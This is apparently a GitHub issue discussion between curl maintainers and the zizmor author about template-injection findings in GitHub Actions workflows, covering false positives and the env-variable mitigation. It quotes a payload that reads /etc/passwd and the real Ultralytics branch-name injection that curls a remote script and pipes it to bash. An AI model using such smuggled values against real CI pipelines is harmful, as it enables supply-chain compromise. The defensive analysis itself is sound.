zizmor cannot load linux.yml and macos.yml (possibly YAML parsing issue, perhaps in one or more of the multiline run: values).

It's barking at label.yml's pull_request_target, but our use seems secure due to no checkout step.

And this:

error[template-injection]: code injection via template expansion
  --> hacktoberfest-accepted.yml:42:9
   |
42 |         - name: Search relevant commit message lines starting with Closes/Merges
   |           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ this step
43 | /         run: |
44 | |           git log --format=email ${{ github.event.before }}..${{ github.event.after }} | \
45 | |             grep -Ei "^Close[sd]? " | sort | uniq | tee log
   | |___________________________________________________________^ github.event.before may expand into attacker-controllable code
   |
   = note: audit confidence → High

error[template-injection]: code injection via template expansion
  --> hacktoberfest-accepted.yml:42:9
   |
42 |         - name: Search relevant commit message lines starting with Closes/Merges
   |           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ this step
43 | /         run: |
44 | |           git log --format=email ${{ github.event.before }}..${{ github.event.after }} | \
45 | |             grep -Ei "^Close[sd]? " | sort | uniq | tee log
   | |___________________________________________________________^ github.event.after may expand into attacker-controllable code
   |
   = note: audit confidence → High

Which looks like a false positive? We can move that expression within single quotes to mitigate
some input cases, but can those variables possibly hold anything else than SHA hashes?

FWIW this matter came up via the Ultralytics supply chain injection:
https://blog.pypi.org/posts/2024-12-11-ultralytics-attack-analysis/
https://blog.yossarian.net/2024/12/06/zizmor-ultralytics-injection

Which looks like a false positive? We can move that expression within single quotes to mitigate
some input cases, but can those variables possibly hold anything else than SHA hashes?

That looks like a false positive indeed -- I believe github.event.before can only be a SHA ref. I can't find github.event.after documented anywhere, however -- do you know where that one came from?

(I can fix these upstream in zizmor itself.)

Edit: zizmorcore/zizmor#309

@woodruffw Nice, thanks!

As for github.event.after, maybe documented here?:
https://docs.github.com/en/webhooks/webhook-events-and-payloads#push

/cc @mback2k

As for github.event.after, maybe documented here?:

Yes, that looks like it! I missed that, thank you!

Yes, the webhook documentation is the right place for that event payload.

Have you tested the quotation changes successfully?

FWIW, quoting within the shell won't mitigate the injection risk: ${{ ... }} gets expanded before the shell's interpolation, so a value like ';cat${IFS}/etc/passwd will still cause code execution.

The only way to prevent code injection via a template in a shell body (like run:) is to intermediate the template via an environment variable like shown here: https://woodruffw.github.io/zizmor/audits/#template-injection

Yes, the webhook documentation is the right place for that event payload.

Have you tested the quotation changes successfully?

They did run this evening after merging pending PR's dated back
from October. The Hacktoberfest labels got added successfully.
Does this sound OK?

FWIW, quoting within the shell won't mitigate the injection risk: ${{ ... }} gets expanded before the shell's interpolation, so a value like ';cat${IFS}/etc/passwd will still cause code execution.

Yes, it's what I meant by not covering all values.

I found it odd that ' is allowed in branch names for example, but it is.

The only way to prevent code injection via a template in a shell body (like run:) is to intermediate the template via an environment variable like shown here: https://woodruffw.github.io/zizmor/audits/#template-injection

I've seen it done in other projects' PRs, but couldn't
readily grasp how/why it works in the general case.

I think we don't have variables controllable by an attacker.
But if there is any, we can also use this method for those.

zizmor flagged *-version variables as suspect (in http3-linux.yml),
but they don't seem to be affected either:

help[template-injection]: code injection via template expansion
   --> http3-linux.yml:450:9
    |
433 | /         run: |
434 | |           cd $HOME
...   |
448 | |           # lib dir
449 | |           # $HOME/quiche/quiche/deps/boringssl/src/lib
    | |______________________________________________________- help: env.quiche-version may expand into attacker-controllable code
450 |           name: 'build quiche and boringssl'
    |           ---------------------------------- help: this step
    |
    = note: audit confidence → High

As for curl/curl-for-win, the branch name is used, but
CI runs are limited to a fixed set of branch names:

error[template-injection]: code injection via template expansion
   --> curl-for-win/.github/workflows/build.yml:585:9
    |
585 |         - name: 'build'
    |           ^^^^^^^^^^^^^ this step
586 |           env:
587 |             CW_LLVM_MINGW_DL: '1'
588 |             CW_LLVM_MINGW_ONLY: '0'
589 | /         run: |
590 | |           export CW_CONFIG='${{ github.ref_name }}-win-gcc'
...   |
599 | |             "${DOCKER_IMAGE}" \
600 | |             sh -c ./_ci-linux-debian.sh
    | |_______________________________________^ github.ref_name may expand into attacker-controllable code
    |
    = note: audit confidence → High

Yes, it's what I meant by not covering all values.

Apologies for the misunderstanding!

I've seen it done in other projects' PRs, but couldn't
readily grasp how/why it works in the general case.

Internally within GHA, all template expansions evaluate to strings (regardless of actual expansion/context value type). So doing something like: FOO: ${{ ... }} in an env: block is roughly equivalent to setenv("FOO", "..."), meaning the quotes/newlines/etc. are fully "in" the value instead of being expanded inline in a shell context.

zizmor flagged *-version variables as suspect (in http3-linux.yml),

Ah yeah, those look like more false positives: right now we flag env.* unconditionally because checking the staticness of an env context member is a little tedious. I'm going to try and have that fixed by the next release, however. I'll file an issue!

Edit: zizmorcore/zizmor#313

As for curl/curl-for-win, the branch name is used, but
CI runs are limited to a fixed set of branch names:

Hmm, that's an interesting case -- you could hush that with $GITHUB_REF_NAME instead, but that's another false positive technically (because of the fixed set of branch names).

Apologies for the misunderstanding!

No worries at all!

Internally within GHA, all template expansions evaluate to strings (regardless of actual expansion/context value type). So doing something like: FOO: ${{ ... }} in an env: block is roughly equivalent to setenv("FOO", "..."), meaning the quotes/newlines/etc. are fully "in" the value instead of being expanded inline in a shell context.

Thanks for these details. This sounds good indeed.

Though somewhat impractical to use for all variables, but
prudent to do when in doubt, and a must when dealing with
dangerous values.

Ah yeah, those look like more false positives: right now we flag env.* unconditionally because checking the staticness of an env context member is a little tedious. I'm going to try and have that fixed by the next release, however. I'll file an issue!

Edit: woodruffw/zizmor#313

Excellent, thanks!

As for curl/curl-for-win, the branch name is used, but
CI runs are limited to a fixed set of branch names:

Hmm, that's an interesting case -- you could hush that with $GITHUB_REF_NAME instead, but that's another false positive technically (because of the fixed set of branch names).

Indeed! I automatically prefer single-quoted strings to avoid expansion,
but in this case double-quotes plus an env is the winner, due to the
single-quote-in-a-branch-name case.

Commit landed:
curl/curl-for-win@05ca755

I found that attack on ultralytics interesting, I had no idea it was possible. See ultralytics/ultralytics#18018 for example. You can see the PR branch name is set to $({curl,-sSfL,raw.githubusercontent.com/ultralytics/ultralytics/12e4f54ca3f2e69bcdc900d1c6e16642ca8ae545/file.sh}${IFS}|${IFS}bash).

Does anyone else think GitHub has some responsibility here? There should be some way to default sanitize for any ${{something}} in our actions that the user can modify.

Does anyone else think GitHub has some responsibility here? There should be some way to default sanitize for any ${{something}} in our actions that the user can modify.

Yes, I think allowing all these special characters in GitHub branches
specifically seems to bring little benefit for most users.

A generic solution might be non-trivial given the number of variable
inputs and the many ways those can be used in a workflow.

A way to apply "more secure" GHA defaults to a workflow, project or
organization could be useful.